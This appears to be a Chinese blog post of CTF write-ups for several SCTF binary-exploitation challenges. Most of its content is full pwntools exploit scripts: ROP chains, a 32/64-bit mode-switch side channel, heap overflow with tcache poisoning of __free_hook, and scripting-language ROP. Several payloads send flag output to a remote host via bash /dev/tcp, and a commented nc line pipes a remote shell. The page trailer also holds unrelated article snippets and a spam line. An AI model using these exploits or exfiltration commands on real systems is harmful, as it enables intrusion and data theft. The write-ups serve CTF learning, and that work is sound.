<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    SCTF pwn 方向部分題解

    一顆小胡椒2022-01-10 16:31:14

    dataleak

    用”\或者/都可以跳過2個\x00,但是每次用”\會拷貝4個字節到buf中,導致最后的3字節數據無法泄露,所以用/\配合垃圾數據填充來控制泄露字符串。

    exp:

    #!python#coding:utf-8
    from pwn import *import subprocess, sys, osfrom time import sleep
    sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)
    elf_path = './cJSON_PWN'ip = '124.70.202.226'port = 2101remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'LIBC_VERSION = ''HAS_LD = FalseHAS_DEBUG = False
    context(os='linux', arch='amd64')context.log_level = 'debug'
    def run(local = 1):    LD_LIBRARY_PATH = './lib/'    LD = LD_LIBRARY_PATH+'ld.so.6'    global elf    global p    if local == 1:        elf = ELF(elf_path, checksec = False)        if LIBC_VERSION:            if HAS_LD:                p = process([LD, elf_path], env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})            else:                p = process(elf_path, env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})        else:            p = process(elf_path)    else:        p = remote(ip, port)
    run(0)payload = ' '*0xc + '"\\'p.send(payload)
    payload = 'a'*8 + ' '*4 + '"\\'p.send(payload)part1 = p.recv(11)
    payload = 'a'*5 + ' '*7 + '/*'p.send(payload)
    payload = ' '*12 + '/*'p.send(payload)part2 = p.recv(11)
    complete = part1 + part2sa('data', complete)
    p.interactive()
    

    gadget

    有棧溢出,但是只能使用調用號為0,5,37的系統調用,5是32位下的open,所以利用思路是先heaven’s gate切換到32位來open flag,再回到64位read flag,最后找一個gadget用來側信道獲取flag。

    主要難點在于找gadget,有4個比較重要的gadget。首先是0x40A756用于設置rdx,但需要zf位為1才能正常執行,因此用0x40106D來設置zf。然后是0x40172A用來棧遷移,最后用0x408F72側信道方式拿到flag。

    exp:

    from pwn import *
    read_addr=0x401170retfq=0x4011ECint80=0x4011F3syscall=0x408865flag=0x40D480pop_rax=0x401001pop_rbp=0x401102pop_rbx_24=0x403072pop_rcx=0x4092D0pop_rdi_8=0x401734pop_rsi_16=0x401732pop_rdx_48=0x40A756flag_addr=0x40D260lea_rsp=0x40172Aset2z=0x40106Dcmpa=0x408F72loop=0x40A765
    bit32=p64(0x23)bit64=p32(0x33)
    fmap=[ord('_')]fmap+=[i for i in range(ord('a'),ord('z')+1)]fmap+=[i for i in range(ord('0'),ord('9')+1)]fmap+=[i for i in range(ord('A'),ord('Z')+1)]fmap+=[0,ord('@'),ord('-'),ord('{'),ord('}'),ord('?'),ord('!')]f=''c=len(f)if_ok=Falsewhile(not if_ok):    caddr=flag+c    sign=0    for guess in fmap:        #sh=process('./gadget')        sh=remote('121.37.135.138',2102)        payload="a"*0x38+p64(pop_rdi_8)+p64(flag_addr)+p64(0)+p64(read_addr)+p64(set2z)+p64(pop_rdx_48)+p64(0)*7        payload+=p64(pop_rbp)+p64(flag_addr+8-0x28+0x20)+p64(lea_rsp)        #print(hex(len(payload)))        sh.send(payload.ljust(0xc0,'a'))
            payload2="flag\x00\x00\x00\x00"        payload2+=p64(retfq)+p64(pop_rbx_24)+bit32+p32(flag_addr)+p32(0)*3+p32(pop_rcx)+p32(0)+p32(pop_rax)+p32(5)+p32(int80)        payload2+=p32(retfq)+p32(pop_rdi_8)+bit64        payload2+=p64(flag_addr+len(payload2)+24)+p64(0)+p64(read_addr)        #print(hex(len(payload2)))        sh.send(payload2.ljust(0xc0,'\x00'))
            payload3=p64(pop_rdi_8)+p64(3)+p64(0)+p64(pop_rsi_16)+p64(flag)+p64(0)*2+p64(pop_rax)+p64(0)+p64(syscall)        payload3+=p64(pop_rdi_8)+p64(caddr+1)+p64(0)+p64(read_addr)        payload3+=p64(pop_rsi_16)+p64(0)+p64(caddr-0x38)+p64(0)+p64(pop_rax)+p64(guess)+p64(cmpa)        #print(hex(len(payload3)))        sh.send(payload3.ljust(0xc0,'\x00'))
            payload4='\x00'*0xf+p64(0)        sh.send(payload4)        try:            sh.send('ok')            sh.recv(timeout=0.5)            if(not guess):                if_ok=True                sign=1                break            f+=chr(guess)            print(f)            sh.close()            sign=1            break        except:            sh.close()    if(not sign):        f+='#'    c=c+1print(f)sh.interactive()
    

    Christmas_song

    難點在于看懂slang語言的語法,主要在源碼com目錄下parser.y和scanner.l這兩個文件中。可知定義變量語法為gift 變量名 is xxx,xxx可以為整數也可以為字符串,其中is等同于運算符‘=’,為字符串時變量實際上是一個堆塊地址。調用函數的語法為reindeer 函數名 delivering gift 參數1 參數2 參數3 brings back gift 返回值; ,其中返回值可省略。逆向可知Dancer和Dasher兩個函數分別可以打開和讀取flag,之后用相當于strncmp的Prancer函數比較讀入的flag側信道獲取flag即可。

    exp:

    from pwn import *import string
    code="""gift a is "/home/ctf/flag";gift b is 0;gift c is 0;gift d is 64;gift len is {};gift test is "abcde";gift flag is "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";gift guess is "{}";
    reindeer Dancer delivering gift a b c brings back gift fd;reindeer Dasher delivering gift fd flag d;reindeer Prancer delivering gift flag guess len brings back gift e;gift f is test+e;reindeer Dancer delivering gift f b c;"""
    flag=""if_ok=Falsedic = '_'+string.ascii_letters + string.digits + "}"while(not if_ok):    for x in dic:        sh=remote("124.71.144.133",2144)        flag=flag+x        c=len(flag)        c_code=code.format(c,flag)        sh.sendlineafter("(EOF to finish):",c_code+"EOF")        sh.recvuntil('error')        res=sh.recvline()        #print(res)        if(res[-6:-1]!="abcde"):            flag=flag[:-1]            sh.close()        else:            sh.close()            print(flag)            if(x=='}'):                if_ok=True            break
    

    Christmas_bash

    遠程爆破出sleep的偏移為0xed850,但搜不到對應的libc,最后才發現版本為2.34。根據sleep算出system,pop rdi和environ的值,用他們來定義變量,再定義一個存儲vm_call_lambda返回時rsp的變量stack。然后調用一個不存在的函數,其返回值為一個堆上的地址,調試得到它與之前定義的變量地址的偏移。然后將environ上的棧地址拷貝到stack處,再根據偏移得到vm_call_lambda返回時的rsp。最后把各變量值用memcpy拷貝到rsp處構造出rop鏈。

    code:

    code="""gift libcbase is sleep-972880;gift environ is libcbase+2232000;gift stack is sleep-16;gift len is 8;gift cmd is "bash -c '/home/ctf/getflag > /dev/tcp/ip/7777'";gift cmdaddr is cmd+1;
    reindeer haha delivering gift len len len brings back gift addr;gift stackaddr is addr+5848;
    reindeer Vixen delivering gift stackaddr environ len;gift stack is stack-1184;gift poprdi is libcbase+190149;gift system is libcbase+346848;gift ret is poprdi+1;
    gift cmdaddraddr is addr+6104;gift systemaddr is addr+6488;gift poprdiaddr is addr+6456;gift retaddr is addr+6520;
    reindeer Vixen delivering gift stack retaddr len;gift stacka is stack+8;
    reindeer Vixen delivering gift stacka poprdiaddr len;gift stacka is stacka+8;
    reindeer Vixen delivering gift stacka cmdaddraddr len;gift stacka is stacka+8;
    reindeer Vixen delivering gift stacka systemaddr len;gift stacka is stacka+8;"""
    

    Christmas_Wishes

    \"字符截斷parserstring堆長度統計邏輯,然后之后可以拷貝很長的字符串,造成堆溢出,鍵同名free,tcacheattack

    exp:

    #!python#coding:utf-8
    from pwn import *import subprocess, sys, osfrom time import sleep
    def chose(idx):    sla('Chose', str(idx))def add(name = '', value = ''):    global payload    payload += '"{}":"{}",'.format(name, value)def package(content):    if len(content) & 1:        print('eeee')    ans = ''    for i in range(len(content)/2):        ans += '\\u' + content[i*2:i*2+2].encode('hex')    return ans
    libc_addr = 0x7fd19f744000loadlibc()libc.address = libc_addr# print(hex(libc.sym['__free_hook']))
    shell = 'bash -c \'/This_is_your_gift > /dev/tcp/ip/7777\''# shell = 'nc ip 7777|/bin/bash|nc ip 9999'
    global payloadpayload = ''# for i in range(10):#     add('a'*0x18 + str(i), 'a'*0x20)add('a'*0x18 + 'a1', 'a'*0x20)add('a'*0x18 + 'a2', 'a'*0x20)add('a'*0x18 + 'a3', 'a'*0x20)add('a'*0x18 + 'a4', 'a'*0x20)add('a5', shell)add('a'*0x18 + 'a1', 'b'*0x10)add('a'*0x18 + 'a3', 'b'*0x10)add('a'*0x20 + '\\"' + 'a'*0x6 + package(p64(0x31)) + package(p64(libc.sym['__free_hook'])), 'a'*0x20)add(package(p64(libc.sym['system'])), 'a'*0x10)add('a5', 'aa')payload = '{' + payload + '}'print(payload)with open('payload', 'w') as f:    f.write(payload)
    payload:{"aaaaaaaaaaaaaaaaaaaaaaaaa1":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","aaaaaaaaaaaaaaaaaaaaaaaaa2":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","aaaaaaaaaaaaaaaaaaaaaaaaa3":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","aaaaaaaaaaaaaaaaaaaaaaaaa4":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","a5":"bash -c '/This_is_your_gift > /dev/tcp/49.232.202.102/7777'","aaaaaaaaaaaaaaaaaaaaaaaaa1":"bbbbbbbbbbbbbbbb","aaaaaaaaaaaaaaaaaaaaaaaaa3":"bbbbbbbbbbbbbbbb","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"aaaaaa\u3100\u0000\u0000\u0000\u705e\u909f\ud17f\u0000":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","\u50ce\u789f\ud17f\u0000":"aaaaaaaaaaaaaaaa","a5":"aa",}
    

    Checkin_ret2text

    自動化寫不出,半自動跑,先下載文件,然后151行pause前手動分析完對應參數

    exp:

    #!python#coding:utf-8
    from pwn import *import subprocess, sys, osfrom time import sleepfrom hashlib import sha256import base64
    sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)
    elf_path = './x2.elf'ip = '123.60.82.85'port = 1447remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'LIBC_VERSION = ''HAS_LD = FalseHAS_DEBUG = False
    context(os='linux', arch='amd64')context.log_level = 'debug'
    def run(local = 1):    LD_LIBRARY_PATH = './lib/'    LD = LD_LIBRARY_PATH+'ld.so.6'    global elf    global p    if local == 1:        elf = ELF(elf_path, checksec = False)        if LIBC_VERSION:            if HAS_LD:                p = process([LD, elf_path], env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})            else:                p = process(elf_path, env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})        else:            p = process(elf_path)    else:        p = remote(ip, port)def debug(cmdstr=''):    if HAS_DEBUG and LIBC_VERSION:        DEBUG_PATH = '/opt/patchelf/libc-'+LIBC_VERSION+'/x64/usr/lib/debug/lib/x86_64-linux-gnu/'        cmd='source /opt/patchelf/loadsym.py'        cmd+='loadsym '+DEBUG_PATH+'libc-'+LIBC_VERSION+'.so'        cmdstr=cmd+cmdstr    gdb.attach(p, cmdstr)    pause()def loadlibc(filename = remote_libc_path):    global libc    libc = ELF(filename, checksec = False)def one_gadget(filename = remote_libc_path):    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))def str2int(s, info = '', offset = 0):    if type(s) == int:        s = p.recv(s)    ret = u64(s.ljust(8, '\x00')) - offset    success('%s ==> 0x%x'%(info, ret))    return ret
    def chose(idx):    sla('Chose', str(idx))def add(idx, size, content = ''):    chose(1)    sla('Index', str(idx))    sla('Size', str(size))    sa('Content', content)def edit(idx, content):    chose(2)    sla('Index', str(idx))    sa('Content', content)def free(idx):    chose(3)    sla('Index', str(idx))def show(idx):    chose(4)    sla('Index', str(idx))def hash_digit(af, hash_hex):    print(af, hash_hex)    ch = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'    for i in ch:        for j in ch:            for k in ch:                for h in ch:                    if sha256(i + j + k + h + af).hexdigest() == hash_hex:                        return i + j + k + hdef get_file(filename):    p.recvuntil('sha256(xxxx + ')    hash = p.recvuntil(')')[:-1]    p.recvuntil('== ')    hash_hex = p.recvuntil('')[:-2]    ans = hash_digit(hash, hash_hex)    print(ans)    sla('give me xxxx:', ans)    base64_e = p.recvuntil('==end==')[:-8]    with open(filename, 'wb') as f:        global elf        elf = base64.b64decode(base64_e)        f.write(elf)def analysis(begin_addr):    begin_addr += 0x18    ranks = []
        def u32(content):        return int(content[::-1].encode('hex'), 16)    def insert(vec):        for i, v in enumerate(ranks):            if vec[0] < v[0]:                ranks.insert(i, vec)                return        ranks.append(vec)    def get_a_string(addr):        ans = ''        while elf[addr] != '\0':            ans += elf[addr]            addr += 1        return ans
        addr = begin_addr    n = ord(elf[addr+1])    addr += 13    for i in range(n):        rk = u32(elf[addr+3: addr+7])        va = u32(elf[addr+9])        if va == 0x88:            if elf[addr+7: addr+9] == '\xf7\xd0':                va = 0xff                addr -= 1        if va == 0x2b:            if elf[addr+7: addr+9] == '\x88\x85':                va = 0                addr -= 3        # print(hex(rk))        addr += 0x10        insert((rk, va))    # for i in ranks:    #     print(hex(i[0]), hex(i[1]))    print(hex(addr))    addr += 0xa    string_addr = addr + u32(elf[addr: addr+4]) + 4    # print(hex(string_addr))    string = get_a_string(string_addr)    # print(string)    ans = ''    for i, v in enumerate(ranks):        ans += chr(ord(string[i])^v[1])    return ans
    run(0)get_file('x2.elf')
    pause()import datasdata = datas.data.split('')[-2::-1]for i, v in enumerate(data):    tmp = v.split(' ')    if len(tmp) == 1 or len(tmp) == 2:        if tmp[0] == 'EOF':            data[i] = 'a' * int(tmp[1], 16)        else:            data[i] = analysis(int(tmp[0], 16))    else:        data[i] = ['0'] * int(tmp[0])        data[i][int(tmp[1])] = tmp[2]
    print(data)
    for i in data:    if type(i) == str:        sa(':', i)    else:        p.recvuntil(':')        for j in i:            p.send(j+' ')
    backdoor = p64(0x401354) * 10payload = 'a'*datas.offset + backdoorp.sendline(payload)sleep(0.1)p.sendline('cat flag')p.interactive()
    

    分析結果填入datas.py

    data = '''8 0 31292dde6DA3E8 0 0C9266 0 0EOF 24'''
    offset = 0x0
    

    然后跑就出了

    payloadelf
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    一次有意思的CTF題目
    2021-12-12 22:16:19
    之后用ida打開這個程序可以觀察到這個程序并不會太復雜,簡單判斷是read函數造成的溢出。當我以為,這題也就這樣,幾分鐘就能拿下時。起初我還以為可能是我方向錯了,以為要用泄露libc庫,可是沒找到合適的泄露函數使用放棄了。##利用 接下來將一起解決這個有意思的,簡單的,復雜的rop。在跟蹤過程中,前三次次改變是因為setbuf函數,無關。之后rbx寄存器被清空為0。
    nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target. nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target. NetCat,它的實際可運行的名字叫nc,應該早很就被提供,就象另一個沒有公開但是標準的Unix工具。
    MSF監聽設置use?PAYLOAD?name>set?LHOST?192.168.20.128set?LPORT?4444show?options?#查漏補缺exploit
    EXOCET 優于 Metasploit 的“Evasive Payloads”模塊,因為 EXOCET 在 GCM 模式(Galois/Counter 模式)下使用 AES-256。Metasploit 的 Evasion Payloads 使用易于檢測的 RC4 加密。雖然 RC4 可以更快地解密,但 AES-256 很難確定惡意軟件的意圖。
    綠城杯-WriteUp
    2021-09-30 06:44:41
    Pwnnull解題思路說是null 其實是off by one,基于uaf那題,這里直接試著打2.23,用的libc也是和uaf那題一樣的#?ezuaf解題思路遠程doublefree泄漏cfree后三位,配合mallochook地址通過libcdatabase確定2.23,然后打og#?
    打進內網以后的過程沒有繼續深入搞,具體原因大家懂的,前期打點,開始的想法是爆破個弱口令的,弱口令爆破一圈沒有找到有用的賬戶
    Dump il2cpp 通常有兩種方法,一種是用 Il2CppDumper 加載二進制文件直接dump. 另一種是用Zygisk-Il2CppDumper注入目標進程來dump il2cpp.接下來介紹一種我常用的方法。原理Unicorn 是一個CPU模擬框架,Qiling是基于Unicorn的一個系統模擬框架。一個內存掃描工具,這里主要主要用來dump進程的完整內存。準備首先用 mypower 將目標進程dump下來。啟動mypoewr后運行以下命令可得到進程的內存鏡像。
    在最近的CTF比賽中,綜合靶場出現的次數越來越多,這種形式的靶場和真實的內網滲透很像,很貼合實際工作,但我們往往缺少多層網絡的練習環境。本文通過VMware搭建3層網絡,并通過msf進行內網滲透,涉及代理搭建,流量轉發,端口映射等常見內網滲透技術。
    ftp程序,需要使用rxraclhm賬號登錄,提供了get、put、dir三個功能,分別讀文件、上傳文件、查看目錄。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类